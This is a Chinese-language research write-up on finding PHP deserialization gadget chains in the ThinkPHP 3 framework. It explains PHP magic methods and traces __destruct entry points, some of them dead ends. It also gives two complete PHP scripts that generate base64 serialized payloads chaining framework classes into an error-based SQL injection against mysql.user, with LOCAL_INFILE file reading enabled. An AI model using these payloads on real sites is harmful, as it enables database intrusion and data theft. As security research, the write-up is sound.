反序列化:
这里主要是挖掘的一些思路与方法
常用的魔法方法:
1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__call,__callStatic
__call调用不可访问或不存在的方法时被调用
__callStatic调用不可访问或不存在的静态方法时被调用
5.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
6.__clone
进行对象clone时被调用,用来调整对象的克隆行为
7.__toString
当一个类被转换成字符串时被调用
8.__invoke
当以函数方式调用对象时被调用
9.__set_state
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
10.__debuginfo
在这里我们从destruct函数分析,当然destruct并非唯一的入口
可能的点:
1.
在这里destroy为无参调用,因此我们全局搜索:
可以发现这里只能使用无参的destroy,经过搜索发现没有满足条件的类,
但值得注意的是,在php7.0及以下版本中,当函数的参数进行字符串拼接的时候可以不用传数值
可以看到筛选出来三个
但是如果使用数组拼接字符串的话,会被强制转化为字符串,因此delete的参数只能为字符串不能为数组
1.1
这里个有字符串拼接,而且$this->sessionName可控我们可以直接利用
1.1.1
继续搜索function delete(
1.1.2
这里可能的函数还是比较多的,直接分析可能能利用的
这个类是抽象类,无法进行序列化和反序列化,因此无法利用
1.1.1.1
无法控制options
1.1.1.2
无法控制$options为数组
1.1.1.3
在这里我们可能会想到3.2.3的delete的sql注入,但是在这里我们需要控制$options让其为数组才能利用,但是在前面分析发现$options只能为字符串,因此就不能直接考虑$options了,通过观察发现,$this->data这个我们是可控的而且会回调delete方法,导致可以传入一个数值,从而引发delete的sql注入
可以看到$pk和$this->data都是可控的,因此我们只需要让$this->data[$pk]为数值就行了
当然Model类本身也需要连接数据库,因此还必须创建一个mysql类
因为mysql类继承至Driver,数据库配置基本上在Driver类中,因此我们直接看Driver
也并不是每一个都要配置
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
结果:
1.1.1.4
这里的$this->modelList可控,导致$options['table']可控
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model\MergeModel;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new MergeModel();
}
}
}
namespace Think\Model{
use Think\Db\Driver\Mysql;
class MergeModel {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
protected $modelList=array('mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#');
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
结果:
1.1.1.5
这就和Model类基本上一样了
1.2
1.3
没有拼接,无法利用
2.
同样没有拼接无法利用
在这里看似可以写入文件
实则并无法利用,因为self::$yyTracFILE只能是资源类型,而我们序列化内容,只能是字符串或者整型,因此无法利用
3.
没用可控的并且返回一个对象的handler方法
因此无法利用
4.
和第二个基本上一样,无法利用